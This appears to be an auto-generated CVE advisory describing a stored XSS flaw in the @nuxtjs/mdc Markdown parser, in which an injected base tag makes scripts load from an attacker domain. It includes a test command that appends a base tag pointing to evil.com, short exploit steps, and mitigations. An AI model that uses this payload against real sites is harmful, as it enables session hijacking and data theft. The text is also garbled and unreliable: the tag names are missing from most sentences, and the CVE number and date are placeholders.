@nuxtjs/mdc, Stored XSS, CVE-2023-XXXX (Critical)

By /

Listen to this Post

How the CVE Works

The vulnerability in `@nuxtjs/mdc` allows a malicious actor to inject a `` tag via Markdown content. The `validateProp()` function in `src/runtime/parser/utils/props.ts` fails to properly sanitize the `href` attribute on `` tags. While it blocks `on` event handlers and filters href/src in some cases, `` tags bypass validation. Once injected, the `` tag forces all subsequent relative URLs (scripts, images, styles) to load from the attacker’s domain, leading to arbitrary JavaScript execution in the victim’s context.

DailyCVE Form

Platform: Nuxt.js
Version: @nuxtjs/mdc (pre-patch)
Vulnerability: Stored XSS
Severity: Critical
Date: 2023-XX-XX

Prediction: Patch expected within 2 weeks

What Undercode Say

Check if vulnerable version is installed
npm list @nuxtjs/mdc
Manual sanitization bypass test
echo '<base href="https://evil.com">' >> user_content.md
CSP bypass check (if applicable)
curl -I https://victim.site | grep "content-security-policy"

How Exploit

  1. Attacker injects `` into Markdown.
  2. Victim loads page, browser resolves `/xss.js` as `https://evil.com/xss.js`.

    3. Attacker’s script executes in victim’s session context.

    Protection from this CVE

– Immediate fix: Apply patch when released.
– Workaround: Disable raw HTML or use DOMPurify with FORBID_TAGS: ['base'].
– Permanent mitigation: Sanitize all `` tags in Markdown parser.

Impact

  • Scope: All Nuxt apps using `@nuxtjs/mdc` with user-controlled Markdown.
  • Risk: Full session hijacking, data theft, phishing.
  • Exploitability: High (no user interaction required).

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top